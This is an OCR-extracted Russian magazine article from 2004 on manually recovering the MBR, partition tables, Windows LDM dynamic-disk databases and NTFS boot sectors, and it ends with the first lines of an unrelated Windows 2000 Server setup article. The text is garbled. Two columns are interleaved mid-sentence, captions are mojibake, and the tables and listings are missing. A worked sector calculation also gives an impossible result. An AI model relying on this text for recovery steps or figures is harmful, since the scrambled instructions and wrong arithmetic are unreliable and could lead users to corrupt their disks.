MS-DOS уже не могла их целиком адресовать. Для преодо- (partition table), описывающей схему разбиения и геомет-
ления этого ограничения был введен механизм разделов рию каждого из логических дисков. В конце сектора по сме-
(partitions), разбивающий один физический диск на несколь- щению 1FE находится сигнатура 55h AAh, по которой BIOS
ко логических, каждый из которых имел свою собственную определяет признак «загрузочности» сектора. Даже если
файловую систему и форматировался независимо от дру- вы не хотите дробить свой винчестер на части и формати-
гих. За счет чего это достигается? руете его как один диск, присутствие master boot record обя-
В первом секторе физического диска (цилиндр 0/голов- зательно.

80
образование
Поле идентификатора диска содержит уникальную 32-
разрядную последовательность, помогающую операцион-
ной системе отличить один смонтированный диск от друго-
го и автоматически копирующую в следующий ключ реест-
Ðèñóíîê 1. Ñõåìàòè÷íîå ïðåäñòàâëåíèå ðàçáèòîãî äèñêà ра: HKLM\SYSTEM\MountedDevices. На самом деле Windows
При старте компьютера BIOS выбирает загрузочный свободно обходится и без него, поэтому содержимое этого
винчестер (обычно Primary Master, но порядок загрузки в поля некритично.
большинстве BIOS можно изменять, а самые продвинутые Поле Boot ID содержит идентификатор файловой сис-
из них при удержании ESC во время прохождения post (про- темы, установленной на разделе, который в случае NTFS
цесса начального тестирования оборудования) даже выво- равен 07h. За динамическими дисками согласно фирмен-
дят интерактивное меню), считывает первый сектор в па- ной спецификации закреплен идентификатор 42h. На са-
мять по адресу 0000h:7C00h, проверяет наличие сигнату- мом деле это справедливо лишь для тех из них, что получе-
ры 55h AAh в его конце, и если такая сигнатура действи- ны путем обновления (update) обычного раздела до дина-
тельно обнаруживается, передает управление на мического. Сведения об остальных динамических дисках в
0000h:7C000h. В противном случае анализируется следую- таблице разделов не хранятся, а содержатся в последнем
щее загрузочное устройство, а если таковое отсутствует, мегабайте физического диска в LDM-базе, и для стандарт-
выдается ругательное сообщение. ных дисковых менеджеров они не видны. При установке
Первичный загрузчик, получив управление, сканирует операционной системы семейства Windows 9х или UNIX на
partition table (которая уже загружена в память!), находит винчестер, содержащий динамические диски, они могут
активный раздел (Boot Indicator === 80h), извлекает номер быть необратимо утеряны, поскольку согласно таблице раз-
стартового сектора раздела, также называемого boot-сек- делов занятое ими пространство отмечено как свободное.
тором, загружает его в память по адресу 0000h:7C00h (пред- Тем не менее загрузочный логический диск (независимо
варительно переместив свое тело в другое место, чтобы от того, динамический он или нет) в обязательном порядке
избежать затирания), убеждается в наличии сигнатуры должен присутствовать в partition table, иначе BIOS не смо-
55h AAh, передавая управление по 0000h:7C00h, в против- жет его загрузить.
ном случае выдается ругательное сообщение, и после на- Четырех записей partition table, обеспечивающих всего
жатия на клавишу компьютер перезагружается. Некоторые четыре логических диска, явно не хватало, но расширять
загрузчики поддерживают несколько активных разделов, таблицу разделов было уже некуда – последняя запись упи-
последовательно перебирая их один за другим, но это уже ралась в конец сектора, а использовать следующий сектор
отсебятина разработчиков, выходящих за стандартные спе- разработчикам не хотелось, поскольку его активно исполь-
цификации Microsoft, что, впрочем, никого не смущает. зовали многие вирусы и нестандартные драйвера, к тому
Если первичный загрузчик поврежден, то BIOS не смо- же это все равно не решало проблемы, а лишь оттягивало
жет запустить операционную систему с такого диска, одна- конец. Тогда инженеры нашли другое решение, предложив
ко при подключении его «вторым» (или загрузке с диске- концепцию расширенных разделов (Extended partition). Если
ты) все логические диски будут доступны. Как минимум они boot ID некоторого раздела равен 05h или 0Fh, он тракту-
должны быть «видны», т.е. команды C:, D:, E: выполняются ется как «виртуальный физический диск»1 со своей соб-
нормально, правда, работоспособность команды dir уже не ственной partition table, расположенной в его начале, на ко-
гарантируется. Во-первых, для этого файловая система торую и указывает стартовый сектор расширенного разде-
соответствующего раздела должна быть известна загру- ла. Короче говоря, таблица разделов получается вложен-
женной операционной системе и не повреждена, а во-вто- ной, и уровень вложения ограничен разве что свободным
рых, должен быть цел boot-сектор (но об этом позже). местом жесткого диска и количеством стековой памяти заг-
Partition Table, которую анализирует master boot code, а рузчика (при условии, что он использует рекурсивный ал-
чуть позже – драйвер логических дисков операционной сис- горитм сканирования). Таблица разделов как бы размазы-
темы, состоит из четырех 10h-записей, расположенных по вается вдоль винчестера. Большинство утилит резервиро-
смещению 1BEh, 1CEh, 1DEh, 1EEh байт от начала диска вания сохраняют лишь первый сектор, чего явно недоста-
соответственно. Каждая из них описывает свой логический точно (впрочем, первый сектор гибнет намного чаще дру-
раздел, задавая его стартовый и конечный сектора, запи- гих, так что даже плохая политика резервирования лучше,
санные в CHS-формате (да! даже если диск работает в LBA- чем совсем ничего).
режиме, патриции все равно адресуются через CHS!). Поле
относительного смещения раздела, отсчитываемое от нача-
ла таблицы разделов, является вспомогательным, и его из-
быточность очевидна. То же самое относится и к полю с об- Ðèñóíîê 2. Ðàñøèðåííàÿ òàáëèöà ðàçäåëîâ
щим количеством секторов на диске – как будто это нельзя Штатные утилиты разбивки (FDISK.EXE, Disk Manager)
вычислить на основе стартового и конечного секторов! Одни в каждой таблице разделов создают один основной и один
операционные системы и загрузчики игнорируют вспомога- расширенный раздел. То есть при разбиении винчестера
тельные поля, другие же их активно используют, поэтому они на четыре логических диска на нем образуются четыре
должны соответствовать действительности. partition table (см. листинг 4), хотя в данном случае можно

1
Термин автора.

№10(23), октябрь 2004 81


образование
было бы обойтись и одной. Штатный загрузчик FDISK тре- вить ситуацию, необходимо запустить редактор диска или
бует, чтобы активный раздел находился в первом секторе другую утилиту, а для этого необходимо загрузить опера-
partition table, «благодаря» чему операционная система мо- ционную систему! Существует несколько путей выхода из
жет грузиться только с диска C:. Нестандартные менедже- этой, казалось бы, неразрешимой проблемы. Самое про-
ры, анализирующие всю цепочку разделов, позволяют заг- стое – горячее подключение диска на ходу с последующей
ружаться с любого из разделов. Самые честные из них со- работой с ним через BIOS или порты ввода/вывода. Если
здают в первой partition table еще один раздел (благо если ни диск, ни материнская плата не умеют (а для IDE-уст-
диск был разбит FDISK, свободное место там всегда есть), ройств подключение «на лету» представляется довольно
назначают его активным и помещают в него свое тело. Дру- жестким испытанием!), вы сможете запустить доктора и ра-
гие же внедряются непосредственно в MBR, замещая пер- ботать с диском на физическом уровне. Другой «хакерский»
вичный загрузчик, что создает очевидные проблемы совме- путь, – пропатчить MS-DOS, изменив сигнатуру 55h AAh на
стимости. что-нибудь еще, тогда она не сможет распознать таблицу
Òàáëèöà 1. Ôîðìàò MBR разделом и, стало быть, не станет ее анализировать. Как
вариант можно записать в boot-сектор дискеты специаль-
но подготовленную программу, которая обнуляет MBR или
искажает сигнатуру, расположенную в его конце. Просто
загрузитесь с нее и все!

Ëèñòèíã 1. Ïðèìåð òàáëèöû ðàçäåëîâ, ñôîðìèðîâàííûé ïðî-


ãðàììîé FDISK
Òàáëèöà 2. Ôîðìàò partition

Òàáëèöà 3. Âîçìîæíûå çíà÷åíèÿ Boot ID

Если таблица разделов повреждена, логические диски,


скорее всего, будут полностью недоступны – они не ото-
бражаются в «Моем Компьютере», не появились в панели
«Driver» файлового менеджера FAR, а команда C: вызыва-
ет ошибку. Искажение таблицы разделов не приводит к не-
медленному изменению объема уже отформатированных
томов (т.к. он хранится в boot-секторе и картах свободного Master boot record – техника
пространства), но при последующем переформатировании восстановления
произойдет затирание данных из соседнего раздела или Существует множество утилит для автоматического восста-
же текущий раздел окажется усечен. Кстати говоря, если новления master boot code и partition table (Get Data Back,
расширенный раздел указывает сам на себя или на один Easy Recovery, Active Data Recovery Software и т. д.). До
из предшествующих разделов в цепочке, все известные мне некоторого времени они вполне успешно справлялись со
операционные системы наглухо зависнут еще на этапе заг- своей задачей, восстанавливая даже полностью уничтожен-
рузки, даже если диск подключен «вторым». Чтобы испра- ные таблицы разделов, однако с появлением емких вин-

82
образование
тов, преодолевших барьер в 2 Гб с помощью всевозмож- ную запись первого диска стандартный master boor code, или
ных расширений, они стали часто путаться, и потому дове- командой FIXMBR консоли аварийного восстановления в
рять им нельзя. Если не хотите потерять свои данные – вос- Windows 2000 (недокументированный ключ /CMBR, появив-
станавливайте MBR самостоятельно (тем более что это шийся в MS-DOS 7.0, позволяет выбирать любой из подклю-
достаточно простая операция, не требующая особой ква- ченных дисков). Внимание! Если вы использовали нестан-
лификации). Восстановление значительно упрощается, дартный загрузчик (такой, например, как LILO), то после пе-
если в вашем распоряжении имеется копия таблицы раз- резаписи MBR сможете загружаться только с основного раз-
делов, снятая Sector Inspector или подобными ей утилита- дела, а для запуска операционных систем из других разде-
ми. Однако чаще всего ее все-таки нет… лов вам придется переустановить свой мультизагрузочный
Если операционная система отказывается загружать- менеджер (вообще-то такой менеджер можно написать и
ся, а на экране появляется ругательство от BIOS типа «Disk самостоятельно, при наличии HIEW, а лучше использовать
Boot failure, Non-System disk or disk error... Press Enter to транслятор ассемблера – работа не займет и получаса).
restart», это указывает на разрушение сигнатуры 55h AAh, Как уже говорилось, некоторые загрузчики изменяют
обычно сопровождаемое смертью первичного загрузчика. схему трансляции адресов жесткого диска, и со штатным
Внимание! Очень важно отличать сообщение BIOS от со- загрузчиком такой диск будет полностью неработоспосо-
общений первичного загрузчика и boot-сектора. Зайдите в бен. Попробуйте переустановить загрузчик с дистрибутив-
BIOS Setup и отключите все загрузочные устройства, оста- ных дисков – быть может, это поможет. В противном слу-
вив активным только диск A: с вытащенной дискетой. А те- чае ничего не остается, как писать свой собственный заг-
перь перезагрузитесь и запомните, какое сообщение по- рузчик, определять текущую геометрию диска и соответ-
явится на экране. Это и будет ругательством BIOS. ствующим образом транслировать секторные адреса. Это
Восстановить сигнатуру 55h AAh можно в любом диско- довольно сложная задача, требующая серьезной подготов-
вом редакторе. Когда будете это делать, убедитесь, что в ки, и здесь ее лучше не обсуждать.
начале диска присутствуют осмысленный master boot code Если загрузчик говорит «Invalid partition table», это еще
(если вы испытываете затруднение с дизассемблировани- не значит, что таблица разделов повреждена, просто ни
ем в уме, воспользуйтесь IDA PRO или HIEW). Вы не умее- один из основных разделов не назначен активным. Такое
те дизассемблировать? Тогда попробуйте оценить степень случается при использовании нестандартных загрузчиков,
«нормальности» первичного загрузчика визуально (одна- загружающих операционную систему из расширенного
ко для этого опять-таки требуется опыт работы с кодом). В раздела. После выполнения команды FDISK /MBR или при
начале более или менее стандартного загрузчика располо- установке операционной системы, автоматически заменя-
жено приблизительно 100h байт машинного кода, в кото- ющей первичный загрузчик своим собственным, он не об-
ром обнаруживаются последовательности: 00 7С, 1B 7C, наружит в пределах досягаемости ни одного активного
BE 07, CD 13, CD 18, CD 10, 55 AA, а затем идут характер- раздела, и, естественно, разразится многоэтажным руга-
ные текстовые сообщения: «Invalid partition table, Error тельством. Такое поведение, в частности, характерно для
loading operating system, Missing operating system...» ну или Windows 98. Для решения проблемы либо восстановите
подобные им. Если загрузчик поврежден, но сигнатура прежний загрузчик, либо установите операционную сис-
55 AA цела, то попытка загрузки с такого диска обернется тему на первичный раздел и, запустив FDISK, сделайте
неизменным зависанием. его активным.
Восстановить «слетевший» или искореженный первич- Загрузитесь с системной дискеты (другого винчестера,
ный загрузчик можно с помощью утилиты FDISK.EXE, запу- CD-диска) и посмотрите, видны ли ваши логические диски
щенной с ключом /MBR, записывающей в главную загрузоч- или нет. Если да, то смело переходите к следующему пунк-

Проблема нулевой дорожки


Главная загрузочная запись жестко держит за собой первый
сектор, и если он вдруг окажется разрушенным, работа с
таким диском станет невозможной. До недавнего времени
проблема решалась посекторным копированием винчесте-
ра с переносом данных на здоровый жесткий диск с иден-
тичной геометрией с последующим восстановлением MBR.
Сейчас ситуация изменилась. Современные винчесте-
ры поддерживают возможность принудительного замеще-
ния плохих секторов из резервного фонда (а некоторые
делают это автоматически), поэтому проблема нулевой
дорожки, преследующая нас еще со времен гибких дисков
и 8-разрядных машин, наконец перестала существовать.
Механизм замещения секторов все еще не стандарти-
зирован и осуществляется утилитами, предоставляемыми
производителем конкретной модели винчестера. Чаще все-
го они распространяются бесплатно и могут быть свободно
найдены в сети. Ëèñòèíã 2. Âíåøíèé âèä òèïè÷íîãî MBR-ñåêòîðà

№10(23), октябрь 2004 83


образование
ту, в противном случае соберитесь с духом и приготовь- разделов, либо boot-сектор. Если это так, создайте еще одну
тесь немного поработать руками и головой. запись в partition table, заполнив его соответствующим об-
Восстановление основного раздела, созданного FDISK разом.
или Disk Manager, в большинстве случаев осуществляется А если boot-сектор отсутствует и не может быть восста-
элементарно, а остальные, как правило, восстанавливать новлен, реально ли восстановить таблицу разделов или
и не требуется, поскольку именно MBR гибнет чаще всего, нет? Да, можно. Необходимо лишь найти boot или partition
а расширенные патриции, рассредоточенные по диску, уми- следующих разделов, в чем вам поможет контекстный по-
рают разве что при явном удалении разделов средствами иск. Ищите сектора, содержащие сигнатуру 55h AAh в кон-
FDISK/Disk Manager. це. Отличить boot от partition очень просто (в boot-секторе
Адрес стартового сектора первого логического диска по смещению два байта от его начала расположен иденти-
всегда равен 0/1/1 (Cylinder/Head/Sector), относительный фикатор производителя (NTFS, MSWIN4.1 и т. д.). Логично,
(Relative) сектор – количеству головок жесткого диска, что размер текущего раздела на один сектор меньше, а зная
уменьшенных на единицу (сведения о геометрии диска мож- размер и геометрию диска, можно рассчитать и конечный
но почерпнуть из любого дискового редактора, в том числе цилиндр/головку/сектор.
и Sector Inspector). Конечный сектор определить несколько Только учтите, что Windows хранит копию boot-сектора,
сложнее. Если загрузочный сектор цел (см. «Загрузочный которая в зависимости от версии может быть расположена
сектор – техника восстановления»), то узнать количество либо в середине раздела, либо в его конце. Другие копии
секторов в разделе патриции (total sectors) можно и из поля могут находиться в архивных файлах и файле подкачки.
BootRecord.NumberSectors, увеличив его значение на еди- Кстати говоря, посмотрите, не содержится ли среди них
ницу. Тогда конечный цилиндр будет равен: ничего удобоваримого. Как отличить копию сектора от ори-
гинала? Если это подлинник, вслед за ним пойдут служеб-
LastCyl := TotalSectors/(Heads*SecPerTrack) ные структуры файловой системы (в частности, для NTFS
таблица MFT, каждая запись которой начинается с легко
где Heads – количество головок на физическом диске, а узнаваемой строки FILE*). Собственно говоря, поскольку
SecPerTrack – количество секторов на трек. служебные структуры файловой системы обычно распола-
Конечная головка равна: гаются на более или менее предсказуемом смещении от-
носительно начала раздела, то отталкиваясь от их «геогра-
LastHead := (Total Sector – ↵ фического» расположения, мы можем установить размеры
(LastCyl*Heads SecPerTrack))/SecPerTrack
каждого из логических дисков, даже если все boot/partition
а конечный сектор равен: уничтожены.
Что произойдет, если границы разделов окажутся оп-
LastSec :== (Total Sector – ↵ ределенными неверно? Если мы переборщим, увеличив
(LastCyl*Heads SecPerTrack)) % SecPerTrack
размер раздела сверх необходимого, все будет нормально
Пропишите полученные значения в MBR и посмотрите, работать, поскольку карта свободного пространства хра-
не находится ли за вычисленным концом раздела следую- нится в специальной структуре (у NTFS это файл $bitmap,
щий раздел? Это должна быть либо расширенная таблица а у FAT13/32 – непосредственно сама FAT-таблица) и «зап-

Типы динамических дисков,


поддерживаемые Windows 2000 Избыточность: нет.
! Простые (simple): практически ничем не отличаются от Эффективность: средняя.
обычных разделов, за исключением того, что при пере- ! Зеркальные (mirrored): два simple-диска, расположенные
разбиении диска отпадает необходимость в перезагруз- на разных устройствах, данные дублируются на оба но-
ке. Базовый тип для всех остальных динамических дис- сителя (RAID уровня 1).
ков. Избыточность: средняя.
Избыточность: нет. Эффективность: средняя.
Эффективность: низкая. ! Чередующиеся с контролем четности (stripped with party):
! Составные (spanned): состоят из одного или несколь- соответствует массиву RAID уровня 5. Состоит из трёх
ких simple-дисков, находящихся в различных разделах или более дисков. Представляет собой stripped volume
или даже устройствах, представленные как один логи- с контролем ошибок. Данные пишутся на два диска, в
ческий диск. Данные на simple-диски пишутся последо- два блока, а на третий диск и в третий блок записыва-
вательно (классический линейный RAID). ется ECC, код коррекции ошибок, с помощью которого
Избыточность: нет. по информации любого из блоков можно восстановить
Эффективность: низкая. содержимое второго блока.
! Чередующиеся (stripped): то же самое, что и spanned, Избыточность: высокая.
но данные записываются параллельно на все simple- Эффективность: высокая.
диски при условии, что они расположены на различных ! Зеркальный с чередованием (mirrored striped): соответ-
каналах IDE-контроллера. Это значительно увеличива- ствует массиву RAID 1+0.
ет скорость обмена данными, короче говоря, классичес- Избыточность: средняя.
кий RAID уровня 0. Эффективность: высокая.

84
образование
редельные» сектора будут добавлены только после пере- LMD-база хранится в последнем мегабайте жесткого
форматирования раздела. Если все, что нам нужно, – это диска, а для дисков, полученных путем обновления базо-
скопировать данные с восстанавливаемого диска на дру- вого раздела до динамического, – в последнем мегабайте
гой носитель, то возиться с подгонкой параметров partition этого самого раздела, идентификатор системы Boot ID со-
table не нужно! Распахните ее на весь физический диск и ответствующей записи в Partition Table принимает значе-
дело с концом! ние 42h. Так происходит потому, что при стандартном раз-
Естественно, такой способ восстановления подходит биении винчестера в его конце просто не остается свобод-
только для первого раздела диска, а для всех последую- ного места и операционной системе приходится сохранять
щих нам потребуется определить стартовый сектор. Это эту информацию непосредственно в самом обновляемом
определение должно быть очень точным, поскольку все диске (естественно, для этого в нем должен быть свободен
структуры файловой системы адресуются от начала логи- по меньшей мере 1 Мб).
ческого диска и ошибка в один-единственный сектор сде- Сразу же за таблицей разделов по адресу 0/0/2 распо-
лает весь этот тонкий механизм полностью неработоспо- ложен приватный заголовок PRIVHEAD, содержащий в
собным. К счастью, некоторые из структур ссылаются сами себе ссылки на основные структуры LDM (см. рис. 3). Если
на себя, давая нам ключ к разгадке. В частности, файлы PRIVHEAD погибнет, Windows не сможет обнаружить и
$mft/$mftmiff содержат номер своего первого кластера. Сто- смонтировать динамические диски. А гибнет он удручаю-
ит нам найти первую запись FILE*, как мы узнаем, на каком ще часто. Подавляющее большинство загрузочных виру-
именно секторе мы сейчас находимся (конечно, при усло- сов и дисковых менеджеров считают сектор 0/0/2 свобод-
вии, что сумеем определить количество секторов на клас- ным и используют его для хранения своего тела, необра-
тер, но это уже другая тема – см. раздел «Загрузочный сек- тимо затирая прежнее содержимое. Осознавая значимость
тор – базовые концепции»). PRIVHEAD, разработчики из Microsoft сохранили его аж в
двух копиях, одна из которых хранится в хвосте LDM, а
Динамические диски другая – в последнем секторе физического диска. Благо-
Динамические диски, впервые появившиеся в Windows 2000, – даря такой избыточности, PRIVHEAD практически никог-
это все тот же программный RAID, призванный преодолеть да не приходится восстанавливать вручную, но если это
ограничения стандартных механизмов разбиения с учетом все-таки потребуется сделать, обратитесь к проекту LINUX-
ошибок своего прямого предшественника программного RAID NTFS за подробным описанием его структуры (http://linux-
Windows NT, хранящего конфигурационную информацию в ntfs.sourceforge.net), здесь же оно по соображениям эко-
системном реестре, что, во-первых, препятствовало его пе- номии места не приводится.
ремещению с машины на машину, а во-вторых, делало очень
уязвимым к порче реестра.
По умолчанию Windows создает базовые диски (см. рас-
шифровку терминов в таблице 5), но всякий базовый диск
в любой момент времени может быть обновлен до динами-
ческого (это даже не потребует перезагрузки). Динамичес- Ðèñóíîê 3. LDM-áàçà è åå äèñëîêàöèÿ
кие диски не пользуются таблицей разделов, а потому и не Внутреннее устройство LDM-базы недокументировано
имеют проблем, связанных с ограничением CHS-разрядно- и буквально пышет мощью и сложностью. Наверху иерар-
сти и позволяют создавать тома практически неограничен- хии расположено оглавление базы – структура TOCBLOCK
ного размера. Однако динамические диски, созданные пу- (Table Of Content Block), состоящая из двух секций config и
тем обновления основных разделов, все-таки остаются в log (вероятно, в будущем их список будет расширен). Сек-
partition table, при этом их Boot ID меняется на 42h. Если эта ция config содержит информацию о текущем разбиении
информация окажется удалена, система откажется подклю- динамических дисков и сведения о томах, а log хранит жур-
чать такой динамический диск. Кстати говоря, Windows нал изменений схемы разбивки. Это очень мощное сред-
может быть установлена только на обновленный динами- ство в борьбе с энтропией! Если удалить один или несколь-
ческий диск, поскольку BIOS может загружать систему лишь ко динамических разделов, информация о старом разбие-
с тех разделов, которые перечислены в partition table, а ди- нии сохранится в журнале и утерянные тома могут быть с
намические диски, созданные «на лету», в нее как раз и не легкостью восстановлены! Будучи очень важной структу-
попадают. рой, оглавление диска защищено от случайного разруше-
Схема разбиения динамических дисков содержится в ния тремя копиями, одна из которых вплотную примыкает к
Базе Менеджера Логических Дисков – Logical Disk Manager настоящему TOCBLOCK, расположенному в начале LDM-
Database или сокращенно LDM. Это протоколируемая базы, а две другие находятся в конце диска, между копия-
(journalled) база данных, поддерживающая транзакции и ус- ми PRIVHEAD.
тойчивая к сбоям. Если в процессе манипуляции с томами Внутренняя секция config состоит из заголовка (VMDB)
неожиданно исчезнет питание, при последующем включе- и одного или нескольких VBLKs – специальных 128-байто-
нии компьютера будет выполнен откат в предыдущее со- вых структур данных, каждая из которых описывает соот-
стояние. При переносе винчестера, содержащего один или ветствующий ей том, контейнер, раздел, диск или группу
несколько динамических дисков, на другую систему, они дисков. VMDB-заголовок не имеет копии и нигде не дубли-
автоматически распознаются и монтируются, как обыкно- руется, однако все его изменения протоколируются в жур-
венные диски. нале (KLOG) и потому могут быть восстановлены.

№10(23), октябрь 2004 85


образование
Строение VMDB и VBLs подробно документировано Òàáëèöà 5. Ñòðîåíèå NTFS boot-ñåêòîðà
«LMD Documentation», находящейся на сайте LINUX-NTFS
и потому описывать его здесь нет никакой необходимости
(оно слишком громоздко, к тому же крайне маловероятно,
что кому-то потребуется восстанавливать секцию config ру-
ками).
В начале всякого сектора расположена трехбайтовая
машинная команда перехода на bootstrap code (обычно
EB 52 90, хотя возможны и вариации). Так происходит по-
тому, что при загрузке boot-сектора в память управление
передается на его первый байт, а bootstrap код по туман-
Ðèñóíîê 4. Âíóòðè LDM ным историческим соображениям был отодвинут в конец
Для просмотра LDM-базы и архивирования ее содержи- сектора (для NTFS верхняя граница составляет 54h байт),
мого можно воспользоваться утилитой LDM-dump Марка вот и приходится прыгать блохой!
Руссиновича, бесплатную копию которой можно скачать с С третьего по одиннадцатый байты (считая от нуля) хра-
его сайта (http://www.sysinternals.com/files/ldmdump.zip). Как нится идентификатор производителя, определяющий тип и
вариант – можно зарезервировать последний мегабайт фи- версию используемой файловой системы (например,
зического диска и последний мегабайт всех патриций, чей «MSDOS5.0» для FAT16, «MSWIN4.0»/«MSWIN4.1» для FAT32
Boot ID равен 42h любым подходящим дисковым редакто- и «NTFS» для NTFS). Если это поле окажется искажено,
ром (например, Sector Inspector) и сохранить эту информа- драйвер не сможет смонтировать диск и даже может по-
цию на надежном носителе (Zip, СD-R/RW), не забывая так- считать его не отформатированным! (примечание: с FAT-
же зарезервировать и TOCBLOCK. дисками Windows 2000 будет работать даже с запорченным
При восстановлении удаленных динамических дисков OEM ID, чего не скажешь про NTFS).
следует учитывать, что, во-первых, журнал изменений на Следом за идентификатором расположен 25-байтовый
интерфейсном уровне недоступен и выполнить откат ле- блок параметров BIOS (BIOS Parameter Block или сокра-
гальными средствами операционной системы невозможно. щенно BPB), хранящий сведения о геометрии диска (число
Во-вторых, boot-сектор удаляемых дисков автоматически цилиндров, головок, секторов, размер сектора, количество
очищается и восстанавливать его приходится вручную, о секторов в кластере и т. д.). Если эта информация окажет-
чем мы чуть позже и поговорим. ся утеряна или искажена, нормальное функционирование
Если размер и тип удаленного динамического диска вам драйвера файловой системы станет невозможным. Причем
известен (на NTFS-дисках его можно извлечь из копии boot- если данное число цилиндров/головок/секторов дублирует
сектора), просто зайдите в «Менеджер Управления Диска- информацию, содержащуюся в MBR, а при ее утере эле-
ми» и воссоздайте его заново, от предложения отформати- ментарно восстанавливается описанным выше способом,
ровать раздел любезно откажитесь и восстановите очищен- то размер кластера определить не так-то просто! Позже мы
ный boot-сектор по методике, описанной ниже. обсудим этот вопрос более подробно, пока же ограничим-
Как видно, Microsoft тщательно позаботилась о своих ся следующей табличкой, сообщающей размер кластера
пользователях и занималась проектированием структуры NTFS-томов, выбираемой штатной утилитой форматирова-
динамических дисков на свежую голову, что для нее вооб- ния по умолчанию (см. таблицу 7).
ще говоря нехарактерно. При выборе размера кластера вручную, Windows 2000
Òàáëèöà 4. Òåðìèíîëîãè÷åñêîå ñîîòâåòñòâèå äèíàìè÷åñêèõ поддерживает следующий модельный ряд: 1, 2, 4, 8, 16, 32,
è îáû÷íûõ äèñêîâ 64 и 128 секторов. Чем больше размер кластера, тем мень-
ше фрагментация и выше предельно адресуемый диско-
вый объем, но вместе с тем и выше потери от грануляции.
Впрочем, ручное задание размеров кластера встречается
достаточно редко.
Òàáëèöà 6. Ðàçìåð êëàñòåðà, âûáèðàåìûé Windows 2000 ïî óìîë÷àíèþ

Загрузочный сектор – базовые К блоку параметров BIOS вплотную примыкает его про-
концепции должение – extended BPB, хранящий номер первого клас-
Первый сектор логического диска носит название загрузоч- тера MFT, ее размер в кластерах, номер кластера с зерка-
ного (boot). Он содержит самозагрузочный код (bootstrap лом MFT и некоторую другую информацию. В отличие от
code) и важнейшие сведения о геометрии диска, без кото- FAT16/32, MFT может располагаться в любом месте диска
рых раздел просто не будет смонтирован! Структура boot- (для борьбы с BAD-секторами это актуально). При нормаль-
сектора определяется архитектурными особенностями кон- ном развитии событий MFT располагается практически в
кретной файловой системы, в частности NTFS boot sector самом начале диска (где-то в районе 4 кластера) и если
выглядит так: только она не была перемещена, ее легко найти глобаль-

86
образование
ным поиском (строка «FILE*» по смещению 0 от начала сек- что соответствует SectorPerTrack-секторам, мы можем вос-
тора). При разрушении или некорректном заполнении extend становить и ее.
PBP драйвер файловой системы отказывается монтировать В отсутствии копий, boot-сектор приходится реконстру-
раздел, объявляя его неотформатированным. ировать вручную. Это легко. В поле идентификатора про-
Следом за extend PBP идет Bootstrap Code, который изводителя заносится строка «NTFS» (без кавычек, но с
ищет на диске операционный загрузчик (у Windows NT это четырьмя пробелами на конце). Количество секторов в тре-
ntldr), загружает его в память и передает ему управление. ке и число головок заполняются исходя из текущей геомет-
Если Bootstrap Code отсутствует, загрузка операционной рии диска. Количество скрытых секторов (т.е. секторов, рас-
системы становится невозможной, однако, при подключе- положенных между началом раздела и boot-сектором) рав-
нии восстанавливаемого диска вторым раздел должен быть но числу головок. Общее количество секторов в разделе
прекрасно виден. Порча Bootstrap Code вызывает перезаг- вычисляется на основании его размера (если точный раз-
рузку компьютера или его зависание. дел не известен, берите значение с запасом).
И завершает boot-сектор уже известная нам сигнатура Количество секторов в кластере определить сложнее
55h AAh, без которой он ни за что не будет признан загру- (особенно, если диск отформатирован со значением, отлич-
зочным. ным от принятого по умолчанию). Но ситуация вовсе не без-
Òàáëèöà 7. Çíà÷åíèå ïîëåé NTFS boot-ñåêòîðà надежна. Последовательно сканируя файловые записи в
MFT, найдите файл с заранее известной сигнатурой. Пусть
для определенности это будет NTOSKRNL.EXE. Откройте его
аутентичную копию в HEX-редакторе, найдите уникальную
последовательность, гарантировано не встречающуюся ни
в каких других файлах и расположенную в пределах первых
512 байт от его начала, после чего найдите ее глобальным
поиском на диске. Начальный номер кластера вам известен
(он содержится в MFT), логический номер сектора тоже (его
нашел дисковый редактор). Теперь остается лишь соотнес-
ти эти две величины между собой. Естественно, если диско-
вый редактор найдет удаленную копию ntoskrnl.exe (или на
диске будут присутствовать несколько файлов ntoskrnl.exe),
данный метод даст осечку, поэтому полученный результат
необходимо уточнить на других файлах.
Логический номер первого кластера MFT равен перво-
му кластеру, в начале которого встретилась строка «FILE*»
(конечно, при том условии, что MFT не был перемещен).
Штатно Windows выделяет под MFT 10% от емкости разде-
ла, помещая зеркало в середину. Кроме того, ссылка на
зеркало присутствует и в самом MFT. Если же он разру-
шен, переместитесь в середину диска, немного отступите
Загрузочный сектор – техника назад и повторите глобальный поиск строки «FILE*» (толь-
восстановления ко смотрите, не вылетите в соседний раздел!). Первое же
Осознавая значимость загрузочного сектора, Windows NT найденное вхождение с высокой степенью вероятности и
при форматировании диска создает его зеркальную копию будет зеркалом.
(правда, только на NTFS-разделах). Windows NT 4.0 распо- Количество кластеров на сегмент обычно равно F6h, а
лагает ее посередине логического диска, а Windows 2000 – на блоке индексов – 01h. Других значений мне встречать
в последнем секторе раздела. Если partition table цела, про- не доводилось. Серийный номер тома может быть также
сто перейдите в начало следующего раздела и отступите на любым – он ни на что не влияет.
сектор назад (Windows 2000) или поделите количество сек- Для восстановления отсутствующего (искаженного)
торов логического диска пополам (с округлением в нижнюю bootstrap code загрузите консоль восстановления и отдай-
сторону) и скажите редактору диска «GO» (Windows NT 4.0). те команду FIXBOOT.
Если же таблица разделов разрушена, найти копию сек-
тора можно глобальным поиском (ищите строку «NTFS» по Заключение
смещению 3 от начала сектора). Поскольку положение ко- Как видно, в восстановлении данных нет ничего мифическо-
пии фиксировано и отсчитывается от начала логического го и для устранения большинства типов разрушений не тре-
диска, мы можем с абсолютной уверенностью определить буется никакой квалификации. Если же некоторые моменты
границы раздела. вам не понятны, перечитайте эту статью с дисковым редак-
Допустим, копия boot найдена в секторе 1 289 724, а тором в руках. До сих пор мы говорили о достаточно про-
поле NumberSectors содержит значение 12 289 661. Тогда стых и хорошо известных вещах. Теперь, как следует раска-
конечный сектор раздела равен 1 289 724, а стартовый: чавшись и освоившись с основными понятиями, мы можем
1289724 – 12289661 == 63. Поскольку загрузочный сектор отправляться в самые дебри NTFS, восстановлению струк-
расположен на расстоянии одной головки от partition table, тур которой посвящена следующая статья этого цикла.

№10(23), октябрь 2004 87


образование

УСТАНОВКА
И НАСТРОЙКА
W2K SERVER

РОМАН МАРКОВ

Данная статья – попытка автора систематизировать свой ! Если это будет простенький, экономичный сервер для
опыт по установке и настройке Windows 2000/2003 Server выполнения задач по хранению нескольких неболь-
для начинающих технических специалистов. Она не пре- ших баз данных (например, базы «1С:Предприятие»)
тендует на полноту и абсолютную однозначность методов, и предназначенные для использования 2-5 клиента-
а предназначена исключительно для предоставления на- ми, то приемлемая конфигурация будет такой: PIII или
чального опыта по настройке серверных систем на основе Celeron 300-733 МГц, RAM 256 Мб, HDD 10-20 Гб. Этой
